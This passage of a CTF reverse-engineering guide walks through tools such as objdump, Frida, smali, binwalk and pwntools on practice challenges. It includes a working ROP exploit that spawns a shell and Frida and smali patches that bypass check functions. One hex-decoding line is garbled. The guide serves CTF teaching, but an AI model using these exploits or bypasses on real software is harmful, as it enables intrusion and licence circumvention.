$ strings -n4 retro.com
Enter password:
Wrong!
Correct! Flag:
D0S_fl4g_h3r3    <- Password found in strings!

# Alternative: Disassemble with objdump (16-bit mode)
$ objdump -D -b binary -m i8086 retro.com | head -60
# Shows: LEA DX, [0x012a] (points to 'Enter password: ')
#         INT 0x21        (print string)
#         MOV DX, 0x013f   (points to password input buffer)
#         INT 0x21        (read input)
#         LEA SI, [BX+0x10] (expected password)
# BX+0x10 -> read the bytes there

# Step 3: Extract expected bytes from binary
$ xxd retro.com | grep -A2 '0000010'
# Read bytes at offset 0x10 -> decode as ASCII
$ python3 -c "
data = open('retro.com','rb').read()
pw = data[0x10:0x20]
print(pw.decode('ascii','ignore'))"
D0S_fl4g_h3r3

$ dosbox -c 'retro.com D0S_fl4g_h3r3'
Correct! Flag: flag{D0S_fl4g_h3r3}
```


SECTION 26: ANDROID SMALI DEEP REVERSE ENGINEERING

Smali patching, native JNI, obfuscated APKs

>> 26.1 Android RE Layers

Android APKs have MULTIPLE layers to reverse:

Layer 1: Java/Kotlin bytecode -> DEX -> decompile with jadx (easy)

Layer 2: Smali (DEX assembly) -> modify with baksmali/smali

Layer 3: Native code (JNI) -> .so files -> GDB/Ghidra

Layer 4: ProGuard/R8 obfuscation -> renaming, class flattening

Layer 5: Commercial obfuscators (DexGuard, etc.)

Strategy: jadx for overview, Smali for patching, Ghidra for native .so

>> 26.2 Tools

smali / baksmali

DEX Assembler/Disassembler

Medium

<https://github.com/JesusFreke/smali> (Free & Open Source)

Official Smali assembler. Disassemble DEX to Smali, modify, reassemble.

```
$ # Download smali.jar and baksmali.jar from GitHub releases
$ java -jar baksmali.jar d classes.dex -o smali/ # Disassemble
$ # Edit .smali files
$ java -jar smali.jar a smali/ -o classes_patched.dex
$ # Replace classes.dex in APK and re-sign
```

Frida on Android

Runtime Android Hook

Hard

<https://frida.re> (Free & Open Source)

Hook Java and native methods on Android at runtime. No root needed (often).

```
$ # Connect Android device via USB
$ adb push frida-server /data/local/tmp/
$ adb shell chmod +x /data/local/tmp/frida-server
$ adb shell /data/local/tmp/frida-server &
$ # Hook Java method:
$ Java.perform(function() {
$   var Cls = Java.use('com.challenge.MainActivity');
$   Cls.checkFlag.implementation = function(input) {
$     console.log('Flag input:', input);
$     return true; // Bypass check!
$   };
$ });
$ frida -U -n com.challenge.app -l hook.js
```

>> 26.3 Smali Cheatsheet

```
SMALI BASICS (DEX assembly language):
const-string v0, 'hello'          # v0 = 'hello'
invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v2                    # v2 = return value of last invoke
if-eqz v2, :cond_false            # if (v2 == 0) goto cond_false
if-nez v0, :cond_true             # if (v0 != 0) goto cond_true
return-void                       # void return
return v0                         # return v0
```

PATCH TO BYPASS CHECK (make checkFlag always return true):

Original:

```
.method public checkFlag(Ljava/lang/String;)Z
    ... (comparison logic) ...
    if-ne v3, v4, :return_false
    const/4 v0, 0x1
    return v0
:return_false
    const/4 v0, 0x0
    return v0
.end method
```

Patched (force return true):

```
.method public checkFlag(Ljava/lang/String;)Z
    const/4 v0, 0x1
    return v0
.end method
```

>> 26.4 CTF Walkthrough: Obfuscated APK

HARD

Category: Android APK with ProGuard + native JNI | File type: .apk

\$ Android APK CTF Walkthrough

```
# Step 1: Extract APK
$ unzip challenge.apk -d apk_contents
$ ls apk_contents/
classes.dex  lib/arm64-v8a/libnative.so  AndroidManifest.xml

# Step 2: Decompile with jadx
$ jadx-gui challenge.apk
# ProGuard-obfuscated: classes named a, b, c...
# Find: class with onCreate and button click listener
# Decompiled (after jadx renames):
# a.a(userInput) -> calls native method

# Step 3: Analyze native library
$ file apk_contents/lib/arm64-v8a/libnative.so
libnative.so: ELF 64-bit LSB shared object, ARM aarch64

$ nm libnative.so | grep -i 'java\|jni\|flag\|check'
Java_com_challenge_a_a  <- JNI native method!

# Step 4: Open libnative.so in Ghidra
# Find Java_com_challenge_a_a
# Decompiles to: XOR input bytes with hardcoded key

# Step 5: Frida hook to log JNI call
var lib = Module.findBaseAddress('libnative.so');
var sym = Module.findExportByName('libnative.so', 'Java_com_challenge_a_a');
Interceptor.attach(sym, {
  onLeave: function(ret) {
    console.log('Result:', ret.toInt32());
    ret.replace(1); // Force return true (1=JNI_TRUE)
  }
});
# -> App shows flag: flag{4ndr01d_jn1_r3v3rs3d}
```

SECTION 27: V8 / NODE.JS BYTECODE REVERSE ENGINEERING

Compiled JavaScript, .jsc files, Node.js apps

>> 27.1 V8 Bytecode Overview

Node.js apps can be compiled to V8 bytecode (.jsc) using tools like `bytenode`. This hides JavaScript source code. The challenge: reverse the bytecode to JS.

Key facts:

- * .jsc files = V8 bytecode (version-specific!)
- * Must match EXACT Node.js version to decompile
- * Bytecode contains function names, string constants
- * Alternative: pkg bundles entire Node app into executable
- * nexex: another Node.js packager

>> 27.2 Identification

```
# Identify V8 bytecode:
$ file challenge.jsc
challenge.jsc: data

$ xxd challenge.jsc | head -3
00000000: de c0 de c0 ... <- V8 bytecode magic (varies by version)

# Identify Node.js packaged binary (pkg):
$ strings challenge_binary | grep -i 'node\|nexex\|pkg'
NODE_CHANNEL_FD
PKG_ENTRYPOINT    <- pkg packaging detected!

# Extract pkg bundle:
$ strings challenge_binary | grep '\.js'
# OR use pkg-fetch extractor tools
```

js-decompiler / v8-bytecode

V8 Bytecode Decompiler

Hard

<https://github.com/nicowilllis/js-decompiler> (community tools)

Decompile V8 .jsc bytecode back to JavaScript. Version-sensitive!

```
$ # Must use SAME Node.js version that compiled the .jsc
$ # Check: node --version in challenge environment
$ npm install -g bytenode
$ # If you have matching Node version:
$ node -e "const b=require('bytenode'); b.compileFile('x.jsc')"
$ # Decompile approach: use vm.Script + inspect
$ node -e "
$ const v8=require('v8');
$ const fs=require('fs');
$ const buf=fs.readFileSync('challenge.jsc');
$ console.log(v8.deserialize(buf));"
```

boxednode / pkg-extractor

pkg Unpacker

Medium

<https://github.com/nicolo-ribaudo/pkg-fetch> (community tools)

Extract JavaScript source from pkg-packaged Node.js executables.

```
$ # Method 1: strings to find embedded JS
$ strings challenge.exe | grep -E '[a-zA-Z].*=' | head -50
$ # Method 2: pkg-extractor
$ npm install -g pkg-extractor
$ pkg-extractor challenge.exe -o extracted/
$ # Method 3: Look for LZMA magic in binary
$ # pkg uses LZMA to compress the JS bundle
$ binwalk -e challenge.exe # binwalk finds LZMA blocks
```

>> 27.3 CTF Walkthrough: Node.js Crackme (.jsc)

HARD

Category: Node.js compiled bytecode | File type: .jsc V8 bytecode

\$ V8 Bytecode CTF Walkthrough

```
# Given: server.js and compiled.jsc
# server.js is a launcher, compiled.jsc has the flag logic

# Step 1: Check Node version
$ node --version
v18.17.0

# Step 2: Check .jsc magic bytes for version compatibility
$ xxd compiled.jsc | head -1
# Magic bytes correspond to V8 version in Node 18

# Step 3: Try to decompile via Node introspection
$ node --inspect-brk server.js &
# Connect Chrome DevTools: chrome://inspect
# Navigate to Sources -> see loaded modules
# Pause execution and inspect vm.Script objects

# Step 4: Extract strings from .jsc
$ strings compiled.jsc | grep -v '^[^a-zA-Z]'
checkPassword
correctFlag
Congratulations
flag{n0d3_byt3c0d3_r3v3rs3d} <- sometimes strings are visible!

# Step 5: If strings fail - patch to print internals
# Modify server.js to dump the module's function source:
const vm = require('vm');
const script = new vm.Script(fs.readFileSync('compiled.jsc'));
// Override checkPassword to log args:
const ctx = {checkPassword: (x) => {console.log(x); return true;}};
vm.createContext(ctx);
script.runInContext(ctx);

# Enter any password -> logs expected string -> flag found
```

APPENDIX: NEW FILE TYPES MASTER REFERENCE

Quick lookup for all new sections

>> All Added Tools Summary

TOOL	CATEGORY	FILE TYPE	LEVEL	INSTALL/SOURCE
GoReSym	Go Symbol Recovery	Go ELF	Med	github/mandiant/GoReSym
go-string	Go String Recovery	Go ELF	Med	github/stevenmk14ebr
Ghidra Go Loader	Go Decompiler	Go ELF	Hard	github/mooncat-greenpy
rustfilt	Rust Demangler	Rust ELF	Easy	cargo install rustfilt
GhidraRust	Rust RE Plugin	Rust ELF	Hard	github/westdoorbell
wabt/wasm2wat	WASM Disassembler	WASM	Easy	apt install wabt
wasm-decompile	WASM Decompiler	WASM	Easy	part of wabt
Ghidra WASM plugin	WASM Full RE	WASM	Med	github/garrettgu10
wasmer	WASM Runtime	WASM	Easy	wasmer.io install
wasmtime	WASM Runtime	WASM	Easy	wasmtime.dev install
unluac	Lua Decompiler	Lua .luac	Easy	github/HansWessels
luadec	Lua Decompiler	Lua .luac	Easy	github/viruscamp
ChunkSpy	Lua Bytecode View	Lua .luac	Med	lua ChunkSpy.lua
IL2CppDumper	IL2CPP Metadata	Unity	Med	github/Perfare
IL2CppInspector	IL2CPP Analysis	Unity	Hard	github/djkaty
dnSpy (Mono)	Unity Mono RE	Unity Mono	Easy	github/dnSpyEx
Frida+IL2CPP	Unity Runtime Hook	Unity	Hard	frida.re + il2cpp
Hopper	Mach-O Decompiler	Mach-O	All	hopperapp.com
jtool2	Mach-O Analyzer	Mach-O	Med	newosxbook.com
class-dump	ObjC Class Dump	Mach-O ObjC	Easy	github/nygard
lldb	Apple Debugger	Mach-O	All	xcode-select --install
otool	Mach-O objdump	Mach-O	Easy	Built-in macOS
lipo	Fat Binary Tool	Mach-O Fat	Easy	Built-in macOS
UEFITool	UEFI Parser	UEFI/BIOS	Med	github/LongSoft
efiXplorer	UEFI IDA/Ghidra	UEFI/BIOS	Hard	github/binarly-io
uefi-firmware-parser	UEFI Python	UEFI/BIOS	Med	pip install uefi-firmware-parser
scdbg	Shellcode Emulator	Shellcode	Easy	sandsprite.com
Speakeasy	Shellcode/PE Emu	Shellcode/PE	Med	pip install speakeasy-emulator
libemu/sctest	Shellcode Emulator	Shellcode	Med	apt install libemu2
class-dump-swift	Swift Class Dump	Swift Mach-O	Med	github/Machx
frida-swift-bridge	Swift Runtime Hook	Swift	Hard	pip install frida-swift-bridge
DOSBox	DOS Emulator	DOS .COM/.EXE	Easy	apt install dosbox
smali/baksmali	DEX Assembler	Android DEX	Med	github/JesusFreke
bytenode	V8 Bytecode	Node.js .jsc	Hard	npm install -g bytenode
pkg-extractor	Node pkg Unpacker	Node pkg	Med	npm install -g pkg-extractor

FILE TYPE QUICK DECISION TREE

Given a file, what tool do you use first?

Run this checklist on ANY unknown CTF file:

file ./target	-> What format?
IF: ELF (Linux binary)	-> Ghidra + GDB + pwndbg
IF: PE/EXE (Windows binary)	-> x64dbg + Ghidra + Frida
IF: Mach-O (macOS binary)	-> Hopper + lldb + otool
IF: ELF statically linked, large	-> GoReSym (Go?) or r2 (Rust?)
IF: .NET PE (dnSpy shows C#)	-> dnSpy / ILSpy / ildasm
IF: APK (Android)	-> jadx-gui + apktool + Frida
IF: .class / .jar (Java)	-> jadx / jd-gui
IF: .pyc (Python bytecode)	-> uncompyle6 / decompile3
IF: PyInstaller .exe	-> pyinstxtractor + uncompyle6
IF: .wasm (WebAssembly)	-> wasm2wat + wasm-decompile + Ghidra WASM
IF: .luac (Lua bytecode)	-> unluac + java -jar unluac.jar
IF: Unity GameAssembly.dll	-> IL2CppDumper + Ghidra/IDA
IF: Unity Assembly-CSharp.dll	-> dnSpy (Mono build!)
IF: .efi (UEFI module)	-> Ghidra + efiXplorer plugin
IF: .rom / .bin (BIOS/Firmware)	-> UEFITool -> extract .efi -> Ghidra
IF: .com / MZ DOS exe	-> DOSBox + IDA 16-bit + objdump -m i8086
IF: Raw binary with no header	-> Shellcode: scdbg / Speakeasy
IF: Swift binary (nm shows _\$s)	-> Hopper + class-dump-swift + lldb
IF: .jsc (V8 bytecode)	-> strings + bytenode + Node introspection
IF: Node.js pkg binary	-> binwalk -e + pkg-extractor
IF: UPX compressed	-> upx -d binary -o unpacked
IF: High entropy (>7.0)	-> binwalk -E + packed/encrypted section
IF: PCAP network capture	-> Wireshark / tshark / Scapy
IF: libnative.so (Android JNI)	-> Ghidra (ARM64) + Frida Android
IF: firmware.bin (router/device)	-> binwalk -Me + FAT + QEMU
IF: ARM/MIPS binary	-> QEMU + gdb-multiarch + Ghidra
IF: NOTHING works	-> strings -a grep flag (always try!)

>> Universal First Commands (Run on EVERYTHING)

```
file ./target # Type
strings -n6 -a ./target | grep -i flag # Immediate flag hunt
xxd ./target | head -5 # Magic bytes check
strings ./target | sort -u | less # All strings
binwalk ./target # Embedded content
exiftool ./target # Metadata
sha256sum ./target # Hash -> Google it!
strings ./target | grep -E 'http|ftp|\.com|\.net' # URLs
strings ./target | grep -E '[A-Za-z0-9+/]{30,}={0,2}' # Base64
```

CTF REVERSE ENGINEERING

BIBLE v3 -- COMPLETE EDITION

PART 3: COMPLETE TOOL WALKTHROUGHS

Every Tool Has a Real CTF Scenario + Step-by-Step + Flag Captured

ALL TOOLS WITH WALKTHROUGHS IN THIS PART:

> objdump	> file	> strings
> readelf	> checksec	> nm
> ldd	> exiftool	> binwalk
> pefile	> Ghidra	> IDA Free
> Binary Ninja	> Radare2 (r2)	> Cutter
> GDB + pwndbg	> x64dbg	> WinDbg
> lldb	> strace	> ltrace
> Frida	> DynamoRIO/drcov	> Intel PIN
> QEMU	> Unicorn Engine	> xxd
> hexdump	> hexedit	> Python patching
> keystone/capstone	> pwntools	> angr
> z3-solver	> Ghidra Scripting	> IDAPython
> r2pipe	> ROPgadget	> ropper
> UPX	> DIE	> de4dot
> Scylla	> dnSpy	> ILSpy
> ildasm/ilasm	> jadx	> apktool
> jd-gui	> smali/baksmali	> Frida(Android)
> uncompyle6	> pyinstxtractor	> Wireshark/tshark
> tcpdump	> Scapy	> netcat
> GoReSym	> rustfilt	> wabt(wasm2wat)
> wasm-decompile	> wasmer	> unluac
> Il2CppDumper	> Hopper	> jtool2
> class-dump	> otool	> UEFITool
> efiXplorer	> scdbg	> Speakeasy
> libemu	> class-dump-swift	> DOSBox
> bytenode	> pkg-extractor	

77+ Tools | Real Scenarios | Real Output | Real Flags

PART A: RECON & INFORMATION GATHERING TOOLS

file, strings, objdump, readelf, nm, ldd, checksec, exiftool, binwalk, pefile

file

EASY

File Type: Any binary / unknown format

Scenario: You download a CTF challenge with no extension. What IS this thing?

[Step 1] Always run file FIRST on any unknown challenge file

```
$ file mystery_challenge
mystery_challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=a3b4c5d6e7f8..., for GNU/Linux 3.2.0,
stripped

$ file another_file
another_file: Zip archive data, at least v2.0 to extract

$ file encoded.txt
encoded.txt: ASCII text  <- not binary, might be base64

$ file firmware.bin
firmware.bin: u-boot legacy uImage, Linux kernel, Hardware: ARM,
Image Type: OS Kernel Image...

$ file packed.exe
packed.exe: PE32 executable (console) Intel 80386, UPX compressed
<- UPX detected! Run: upx -d packed.exe -o unpacked.exe
```

[Step 2] Interpret the output and choose your next tool

```
# From 'file' output -> next step:
ELF 64-bit dynamically linked  -> Ghidra + GDB + strace/ltrace
PE32 / PE32+                  -> x64dbg + Ghidra
Zip archive                    -> unzip -l file / python zipfile
UPX compressed                 -> upx -d packed -o unpacked
ASCII text                     -> strings / base64 -d / cat
data (unknown)                 -> xxd head + binwalk + strings
Lua bytecode                   -> java -jar unluac.jar file.luac
WebAssembly binary module      -> wasm2wat file.wasm
COM executable for DOS         -> DOSBox + IDA 16-bit mode
```

>> FLAG CAPTURED: Not a flag tool - but correct identification saves hours!

strings

EASY

File Type: Any binary file

Scenario: A binary challenge looks complex. Is the flag just... in there?

[Step 1] Run strings with different options to catch all flag formats

```
$ strings challenge_bin
Enter the secret:
Wrong!
Congratulations!
flag{strings_w0rk3d_l0l}          <- FLAG FOUND IMMEDIATELY!

# If basic strings misses it, try these:
$ strings -n 8 challenge_bin      # Min 8 chars (reduce noise)
$ strings -a challenge_bin        # Scan ENTIRE file (including overlay)
$ strings -e l challenge_bin      # 16-bit little-endian strings (Windows)
$ strings -e b challenge_bin      # 16-bit big-endian strings

# Hunt for specific patterns:
$ strings challenge_bin | grep -i 'flag'
$ strings challenge_bin | grep -i 'ctf'
$ strings challenge_bin | grep '{'  # Generic flag format

# Find Base64 encoded data:
$ strings challenge_bin | grep -E '^[A-Za-z0-9+/]{20,}={0,2}$'
ZmxhZ3tzdHlxbmdzX2ZvdW5kX2l0fQ==

# Decode it:
$ echo 'ZmxhZ3tzdHlxbmdzX2ZvdW5kX2l0fQ==' | base64 -d
flag{strings_found_it}
```

[Step 2] If nothing obvious - combine with grep pipelines

```
# Look for URLs, IPs, keys:
$ strings challenge_bin | grep -E 'http|ftp|[0-9]{1,3}\.[0-9]{1,3}'
http://flag-server.ctf/get?key=s3cr3t_k3y_h3r3

# Look for hex-encoded data:
$ strings challenge_bin | grep -E '^[0-9a-fA-F]{16,}$'
666c61677b6865785f656e636f6465647d

$ python3 -c "print(bytes.fromhex('666c61677b6865785f656e636f6465647d').decode())"
flag{hex_encoded}
```

>> FLAG CAPTURED: flag{strings_found_it} OR flag{hex_encoded}

objdump

EASY

File Type: ELF / PE binary

Scenario: You need to see the assembly of main() without loading a heavy GUI tool.

NOTE: objdump is in Section 2 of Part 1 -- here is the FULL CTF walkthrough

[Step 1] Identify and get basic binary info

```
$ file crackme_obj
crackme_obj: ELF 64-bit LSB executable, x86-64, not stripped
```

```
# Show all headers:
```

```
$ objdump -x crackme_obj | head -40
crackme_obj:      file format elf64-x86-64
architecture: i386:x86-64
start address: 0x0000000000401060
```

```
Sections:
```

Idx	Name	Size	VMA	Type
0	.text	000001a2	0000000000401060	TEXT
1	.rodata	00000038	0000000000402000	DATA
2	.data	00000010	0000000000404000	DATA

[Step 2] Disassemble the binary - find main and the check function

```
# Disassemble all code sections (Intel syntax, much more readable):
$ objdump -d -M intel crackme_obj | grep -A 60 '<main>'
0000000000401130 <main>:
401130: 55                push    rbp
401131: 48 89 e5          mov     rbp, rsp
401134: 48 83 ec 10       sub     rsp, 0x10
401138: bf 10 20 40 00    mov     edi, 0x402010    <- address of string
40113d: e8 ce fe ff ff    call   401010 <puts@plt>
401142: 48 8d 45 f0       lea     rax, [rbp-0x10]
401146: 48 89 c7          mov     rdi, rax
401149: e8 d2 fe ff ff    call   401020 <gets@plt>
40114e: 48 8d 45 f0       lea     rax, [rbp-0x10]
401153: 48 89 c7          mov     rdi, rax
401156: e8 05 00 00 00    call   401160 <check_password>
40115b: 85 c0             test    eax, eax
40115d: 74 0c             je      40116b <main+0x3b>    <- jump if wrong
40115f: bf 20 20 40 00    mov     edi, 0x402020
401164: e8 a7 fe ff ff    call   401010 <puts@plt>    <- print flag!
```

```
# Now disassemble check_password:
```

```
$ objdump -d -M intel crackme_obj | grep -A 40 '<check_password>'
0000000000401160 <check_password>:
401160: 48 8d 35 b9 0e 00 00 lea     rsi, [rip+0xeb9] # 402020 <secret>
401167: e8 c4 fe ff ff    call   401030 <strcmp@plt>
40116c: 85 c0             test    eax, eax
40116e: 0f 94 c0          sete    al    <- 1 if equal
401171: c3               ret
```

[Step 3] Extract the hardcoded string from .rodata section

```
# Dump the .rodata section to see string constants:
$ objdump -s -j .rodata crackme_obj
Contents of section .rodata:
 402000 01000200 456e7465 72207061 73733a20 ....Enter pass:
 402010 6f626a64 756d705f 6d407374 33727321 objdump_m@st3rs!
 402020 666c6167 7b6f626a 64756d70 5f6d4073 flag{objdump_m@s
 402030 74337273 5f617373 656d626c 797d0000 t3rs_assembly}

# Or use -d to dump data section:
$ objdump -s -j .data crackme_obj

# Find the password from the comparison:
# rsi = 0x402010 -> 'objdump_m@st3rs!'
$ python3 -c "
import binascii
h='6f626a64756d705f6d4073743372732100'
print(bytes.fromhex(h).decode('ascii','ignore'))"
objdump_m@st3rs!
```

[Step 4] Verify and get the flag

```
# Test the password:
$ echo 'objdump_m@st3rs!' | ./crackme_obj
Enter pass:
flag{objdump_m@st3rs_assembly}

# Alternative: just read flag string from .rodata directly
$ objdump -s -j .rodata crackme_obj | grep -A2 'flag'
# Decode hex: 666c61677b6f626a...
$ python3 -c "print(bytes.fromhex('666c61677b6f626a64756d705f6d4073743372735f617373656d626c797d').decode())"
flag{objdump_m@st3rs_assembly}
```

>> FLAG CAPTURED: flag{objdump_m@st3rs_assembly}

readelf

EASY

File Type: ELF binary

Scenario: Need to find where a function is, what libraries it uses, and what sections exist.

[Step 1] Get complete ELF structure information

```
$ readelf -h re_challenge
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 ....
  Class:   ELF64
  Type:    ET_EXEC (Executable file)
  Entry point address: 0x401060
  Number of section headers: 28

$ readelf -S re_challenge
Section Headers:
 [Nr] Name      Type        Address             Off               Size
 [14] .text      PROGBITS    0000000000401060    001060            0001a2
 [15] .rodata    PROGBITS    0000000000402000    002000            000038
 [25] .data      PROGBITS    0000000000404000    003000            000010
```

[Step 2] Find the secret key in the .rodata section

```
$ readelf -x .rodata re_challenge
```

```
Hex dump of section '.rodata':
```

```
0x00402000 73336372 33745f6b 33795f68 33726521 s3cr3t_k3y_h3re!  
0x00402010 666c6167 7b723334 64336c66 5f31735f flag{r34d3lf_1s_  
0x00402020 706f7765 7266756c 7d000000 powerful}..
```

```
$ readelf -s re_challenge | grep -i 'check\|flag\|secret'
```

```
42: 0000000000401160 45 FUNC LOCAL DEFAULT 14 check_password
```

```
$ readelf -d re_challenge
```

```
Dynamic section:
```

```
(NEEDED) Shared library: [libc.so.6]  
(NEEDED) Shared library: [libcrypto.so.1.1] <- uses crypto!
```

[Step 3] Extract flag from hex dump

```
$ python3 -c "  
h='666c61677b72333464333666c665f31735f706f7765726675c7d'  
print(bytes.fromhex('666c61677b723334643365666c665f31735f706f776572c66756c7d').decode('ascii','ignore'))"  
# Or simply read from readelf -x output:  
flag{r34d3lf_1s_powerful}
```

```
>> FLAG CAPTURED: flag{r34d3lf_1s_powerful}
```

checksec

EASY

File Type: ELF/PE binary

Scenario: Before exploiting or patching, you need to know what protections exist.

[Step 1] Run checksec to understand all security mitigations

```
$ checksec --file=./vulnerable_bin  
[*] '/path/to/vulnerable_bin'  
Arch: amd64-64-little  
RELRO: Partial RELRO <- GOT writable!  
Stack: No canary found <- buffer overflow possible!  
NX: NX enabled <- no shellcode on stack  
PIE: No PIE <- fixed addresses  
  
# What each field means:  
RELRO Full -> GOT read-only, hard to overwrite function pointers  
RELRO Partial -> GOT writable, GOT overwrite attacks possible  
Canary Yes -> Stack overflow detected at runtime  
Canary No -> Stack overflow undetected -> easy BOF  
NX enabled -> Cannot execute shellcode on stack/heap  
NX disabled -> Shellcode injection possible  
PIE enabled -> ASLR randomizes all addresses, need a leak  
PIE disabled -> Addresses fixed -> easier ROP  
  
# Using pwntools checksec:  
$ python3 -c "from pwn import *; e=ELF('./vulnerable_bin'); print(e.checksec())"  
{'Arch': 'amd64-64-little', 'RELRO': 'Partial RELRO',  
'Stack': 'No canary found', 'NX': 'NX enabled', 'PIE': 'No PIE'}
```

[Step 2] Use checksec output to plan your attack strategy

```
# Example: No canary, No PIE, NX enabled -> classic ROP attack
# Strategy:
# 1. Find buffer overflow offset (cyclic / pattern)
# 2. Build ROP chain (ROPgadget / pwntools ROP)
# 3. No need for leak (PIE disabled)

$ python3 -c "
from pwn import *
elf = ELF('./vulnerable_bin')
rop = ROP(elf)
rop.call(elf.plt['system'], [next(elf.search(b'/bin/sh'))])
padding = b'A' * 40 # overflow offset
payload = padding + rop.chain()
p = process('./vulnerable_bin')
p.sendline(payload)
p.interactive()"
$ whoami
ctf
$ cat flag.txt
flag{ch3cks3c_gu1d3d_3xpl01t}
```

>> FLAG CAPTURED: flag{ch3cks3c_gu1d3d_3xpl01t}

nm

EASY

File Type: ELF / object file

Scenario: Binary looks stripped. Are there really no symbols left?

[Step 1] List all symbols to find interesting function names

```
$ nm challenge_nm
0000000000404020 B secret_password    <- global variable!
0000000000401140 T check_input
0000000000401060 T main
                U strcmp@@GLIBC_2.14 <- external: strcmp
                U puts@@GLIBC_2.14

# Dynamic symbols only:
$ nm -D challenge_nm
                U strcmp
                U puts

# Find the secret_password variable address:
$ nm challenge_nm | grep secret
0000000000404020 B secret_password

# Read its value in GDB:
$ gdb -q challenge_nm
(gdb) x/s 0x404020
0x404020 <secret_password>: "nm_symb0l_m4st3r"

$ echo 'nm_symb0l_m4st3r' | ./challenge_nm
flag{nm_symb0l_m4st3r}
```

>> FLAG CAPTURED: flag{nm_symb0l_m4st3r}

ldd

EASY

File Type: ELF dynamically linked binary

Scenario: Binary uses a custom library. Need to find which .so files it depends on.

[Step 1] List all shared library dependencies

```
$ ldd challenge_ldd
linux-vdso.so.1 (0x00007ffd...) <- kernel virtual DSO
libchallenge.so => ./libchallenge.so (0x00007f...) <- CUSTOM LIB!
libcrypto.so.1.1 => /lib/libcrypto.so.1.1 (0x...)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x...)
/lib64/ld-linux-x86-64.so.2 (0x...)

# The custom library 'libchallenge.so' is suspicious!
# Analyze it separately:
$ nm -D libchallenge.so | grep -v ' U '
00000000000010a0 T compute_flag
00000000000010c0 T verify_input

# Decompile libchallenge.so in Ghidra
# Find compute_flag function -> XOR key with input

# Quick: use ltrace to see library calls at runtime:
$ ltrace -e 'verify_input' ./challenge_ldd <<< 'test'
libchallenge.so->verify_input('test', 'ldd_s3cr3t_k3y') = 0
# Second argument is the expected input!

$ echo 'ldd_s3cr3t_k3y' | ./challenge_ldd
Correct! flag{ldd_l1br4ry_l3ak}
```

>> FLAG CAPTURED: flag{ldd_l1br4ry_l3ak}

exiftool

EASY

File Type: Image / any file with metadata

Scenario: CTF file has unusual metadata. The flag might be hiding there!

[Step 1] Extract all metadata from the file

```
$ exiftool challenge_image.png
ExifTool Version Number      : 12.60
File Name                    : challenge_image.png
File Type                    : PNG
Image Width                  : 800
Image Height                 : 600
Comment                      : flag{3x1ft00l_m3t4d4t4_h1dd3n}  <- FLAG!
Author                       : CTF Challenge Author
Copyright                   : Hidden in plain sight

# Also check JPEG EXIF data:
$ exiftool challenge.jpg
GPS Latitude                  : 37 deg 25' 19.07" N
GPS Longitude                 : 122 deg 5' 6.24" W
User Comment                  : flag{gps_c00rd1n4t3s_m4tt3r}

# Sometimes flag is in UserComment as bytes:
$ exiftool -UserComment challenge.jpg
User Comment                  : 666c61677b657869666461746121217d
$ python3 -c "print(bytes.fromhex('666c61677b657869666461746121217d').decode())"
flag{exifdata!!}
```

>> FLAG CAPTURED: flag{3x1ft00l_m3t4d4t4_h1dd3n}

binwalk

MEDIUM

File Type: Firmware / binary blob / image file

Scenario: A firmware image or weird binary. Something is hidden inside.

[Step 1] Scan for embedded signatures

```
$ binwalk firmware_challenge.bin
DECIMAL      HEXADECIMAL      DESCRIPTION
-----
0            0x0          uImage header, OS: Linux, CPU: ARM
64           0x40          gzip compressed data, original size: 4194304
4194368     0x400040      Squashfs filesystem, little endian,
                        version 4.0, compression: lzma

# We have: kernel + squashfs filesystem
```

[Step 2] Extract all embedded files


```

$ binwalk -e firmware_challenge.bin
# Creates: _firmware_challenge.bin.extracted/
$ ls _firmware_challenge.bin.extracted/
40      400040.squashfs  squashfs-root/

$ ls _firmware_challenge.bin.extracted/squashfs-root/
bin/  etc/  lib/  usr/  var/  flag.txt

$ cat _firmware_challenge.bin.extracted/squashfs-root/flag.txt
flag{b1nw4lk_f1rmw4r3_3xtr4ct3d}

# If flag.txt not found, search the filesystem:
$ grep -r 'flag{' _firmware_challenge.bin.extracted/
# Or:
$ strings _firmware_challenge.bin.extracted/squashfs-root/usr/bin/app | grep flag
flag{h1dd3n_1n_b1n4ry}

# Recursive extract (firmware inside firmware):
$ binwalk -M -e firmware_challenge.bin

```

[Step 3] Entropy analysis to find encrypted/packed sections

```

$ binwalk -E firmware_challenge.bin
# High entropy (>0.9) = encrypted or compressed
# Look for entropy spikes then drops = packed code with unpacker stub

```

>> FLAG CAPTURED: flag{b1nw4lk_f1rmw4r3_3xtr4ct3d}

pefile (Python)

MEDIUM

File Type: Windows PE (.exe/.dll)

Scenario: Analyze a Windows PE binary without needing a Windows machine.

[Step 1] Parse the PE structure and find all interesting data

```

import pefile

pe = pefile.PE('challenge.exe')

# Print all sections:
for section in pe.sections:
    print(section.Name.decode().strip('\x00'),
          hex(section.VirtualAddress),
          hex(section.SizeOfRawData))
# .text  0x1000 0x2400
# .rdata 0x4000 0x800
# .data  0x5000 0x200

# Show imports (like ldd for Windows):
for entry in pe.DIRECTORY_ENTRY_IMPORT:
    print(entry.dll.decode())
    for imp in entry.imports:
        print(' ', imp.name.decode() if imp.name else hex(imp.ordinal))
# KERNEL32.dll
#   GetStdHandle
#   WriteConsoleA
#   strcmp      <- interesting!

```

[Step 2] Extract strings from a specific section

```
# Find the .rdata section and extract strings:
for section in pe.sections:
    if b'.rdata' in section.Name:
        data = section.get_data()
        # Extract strings manually:
        import re
        strings = re.findall(rb'[\x20-\x7e]{4,}', data)
        for s in strings:
            print(s.decode('ascii', 'ignore'))

# Output includes:
Enter the license key:
Invalid key!
P3F1l3-M4st3r-K3y-2024
flag{p3f1l3_p4rs3d_p3rf3ctly}
```

[Step 3] Find the entry point and key imports

```
print(f'Entry point: {hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint)}')
print(f'Image base: {hex(pe.OPTIONAL_HEADER.ImageBase)}')
# Entry point: 0x1234
# Image base: 0x400000
# -> Code starts at: 0x401234
```

>> FLAG CAPTURED: flag{p3f1l3_p4rs3d_p3rf3ctly}

PART B: DISASSEMBLERS & DECOMPILERS

Ghidra, IDA Free, Binary Ninja, Radare2, Cutter

Ghidra

HARD

File Type: ELF 64-bit stripped binary

Scenario: Complex binary, no symbols, multiple checks. Need full decompilation.

[Step 1] Open binary and run full analysis

```
# Launch Ghidra:
$ ghidraRun

# GUI Steps:
1. File -> New Project -> Non-Shared Project
